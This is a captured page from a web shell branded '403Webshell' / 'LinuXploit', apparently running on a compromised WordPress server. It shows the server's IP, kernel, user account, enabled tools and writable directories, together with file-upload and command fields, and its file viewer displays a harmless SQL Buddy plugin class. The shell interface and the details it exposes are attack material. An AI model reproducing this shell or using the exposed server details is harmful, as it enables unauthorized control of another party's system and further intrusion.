403Webshell
Server IP : 3.93.235.159  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux ip-172-26-0-169 5.10.0-46-cloud-amd64 #1 SMP Debian 5.10.262-1 (2026-07-31) x86_64
User : bitnami ( 1000)
PHP Version : 8.2.9
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/sql-buddy/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/sql-buddy/includes/User_Preferences.php
<?php

namespace SQL_Buddy;

class User_Preferences {
	/**
	 * Name of the meta key used for storing hidden columns.
	 *
	 * @var string
	 */
	const HIDDEN_COLUMNS_KEY = 'sqlbuddy_hidden_columns';

	/**
	 * User ID.
	 *
	 * @var false|int
	 */
	public $user_id;

	/**
	 * User_Preferences constructor.
	 *
	 * @param false|int $user_id User ID.
	 */
	public function __construct( $user_id = false ) {
		if ( ! $user_id ) {
			$user_id = get_current_user_id();
		}
		$this->user_id = $user_id;
	}

	/**
	 * Register class.
	 */
	public function register() {
		register_meta(
			'user',
			static::HIDDEN_COLUMNS_KEY,
			[
				'type'          => 'array',
				'default'       => false,
				'show_in_rest'  => false,
				'auth_callback' => [ $this, 'can_edit_current_user' ],
				'single'        => false,
			]
		);
	}

	/**
	 * Auth callback.
	 *
	 * @return bool
	 */
	public function can_edit_current_user(): bool {
		return current_user_can( 'edit_user', get_current_user_id() );
	}

	/**
	 * Get a list of all hidden columns.
	 *
	 * @return array
	 */
	protected function get_all_hidden_columns() {
		$hidden_columns = get_user_meta( get_current_user_id(), static::HIDDEN_COLUMNS_KEY, true );

		if ( ! is_array( $hidden_columns ) ) {
			return array();
		}

		return $hidden_columns;
	}

	public function get_hidden_columns( $table ) {
		$columns = $this->get_all_hidden_columns();

		return $columns[ $table ] ?? [];
	}

	public function set_hidden_columns( $table, $columns ) {
		$hidden_columns = $this->get_all_hidden_columns();

		if ( is_array( $columns ) ) {
			$hidden_columns[ $table ] = $columns;
		} elseif ( isset( $hidden_columns[ $table ] ) ) {
			unset( $hidden_columns[ $table ] );
		}

		return update_user_meta( get_current_user_id(), static::HIDDEN_COLUMNS_KEY, $hidden_columns );
	}

	public function prepare_hidden_columns_for_js( $table ) {
		$columns = $this->get_hidden_columns( $table );

		if ( ! count( $columns ) ) {
			return [];
		}

		$formatted = [];
		foreach ( $columns as $column ) {
			$formatted[ $column ] = false;
		}

		return $formatted;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit